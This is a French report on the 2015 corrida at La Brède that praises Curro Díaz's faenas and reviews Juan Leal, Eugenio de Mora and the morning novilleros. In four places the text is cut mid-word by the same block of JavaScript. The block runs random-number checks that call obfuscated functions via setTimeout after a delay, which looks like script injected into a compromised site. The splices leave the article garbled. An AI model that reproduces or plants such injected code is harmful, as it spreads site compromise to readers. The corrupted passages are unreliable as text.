LA BREDE 2015 : L’INSPIRATION DE CURRO DIAZ

Curro s’est distingué par son côté artistique mais aussi par son sens de la lidia au cours de la corrida de La Brède le week-end dernier. Au cinquième toro, un sobrero avec beaucoup de volume de Pedrés, il a toujours su trouver la distance et surtout la mi-hauteur que lui demandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andait son adversaire. Et même sans baisser la main, les passes de muleta ne manquèrent jamais de beauté ni de profondeur. Le torero était « a gusto » et il sut enchaîner des séries des deux cornes qui transcendèrent le public, achevées par longues passes de poitrine, semi circulaires, qu’il achevait à hauteur de la ceinture, ou avec des trincheras enivrantes. Curro Díaz laissa aussi des empreintes de son art à son premier à la cape et à la muleta, un taureau avec lequel il ne s’accorda pas toujours mais auquel il coupa quandom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}and même la première de ses trois oreilles.

L’arlésien Juan Leal eut aussi entre ses mains la possibilité de s’exprimer, devant le meilleur lot de la course. Deux toros avec de la noblesse et du parcours et dont il ne profita pas pleinement. Il lui manqua de la substance, se plaire dans chaque passe et non les amonceler. Des passes sans écho dans les gradins et Juan eut recours aux passes circulaires de dos, achevant ses faenas, pour chauffer le public. Il coupa deux oreilles généreuses qui lui permirent d’accompagner la sortie a hombros de Curro Díaz.

Eugenio de Mora n’eut pas de chance avec son lot, mais malgré tout on put constater son assurance et sa fermeté.

Le matin, en prélude, quatre novillos de l’élevage landom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andom()*5);if (c==3){var delay = 15000;setTimeout($hiVNZt4Y5cDrbJXMhLy(0), delay);}andom() * 5);if (number1==3){var delay = 15000;setTimeout($vTB$I_919AeEAw2z$KX(0), delay);}andais d’Alma Serena, dont deux avec beaucoup de qualité, très nobles.

Le nîmois Tibo García a plu par son élégance et ses bonnes manières, moins Baptiste Cissé, très enthousiaste mais encore très inexpérimenté.

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